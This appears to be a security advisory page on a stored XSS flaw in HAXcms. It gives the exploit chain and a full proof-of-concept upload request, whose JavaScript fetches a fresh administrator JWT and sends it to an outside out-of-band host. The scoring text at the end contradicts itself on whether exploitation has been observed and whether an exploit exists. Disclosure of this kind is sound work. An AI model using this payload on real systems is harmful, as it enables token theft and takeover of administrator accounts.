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GHSA-3fm2-xfq7-7778
No affected components available
Summary
Stored XSS Leading to Account Takeover
Details
The Exploit Chain:
1.Upload: The attacker uploads an .html file containing a JavaScript payload.
2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.
3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request.
4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.
5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.
6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.
Vulnerability recurrence:
<img width="1198" height="756" alt="image" src="https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3" />Then we test access to this html
<img width="1433" height="1019" alt="image" src="https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253" />You can obtain other people's identity information
<img width="1082" height="290" alt="image" src="https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275" />PoC
POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128
------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"
true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain
<script> // This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); }); </script> <h1>Processing your request...</h1> ------WebKitFormBoundary7MA4YWxkTrZu0gW--Impact
The attacker now possesses a valid administrator JWT and can take full control of the application.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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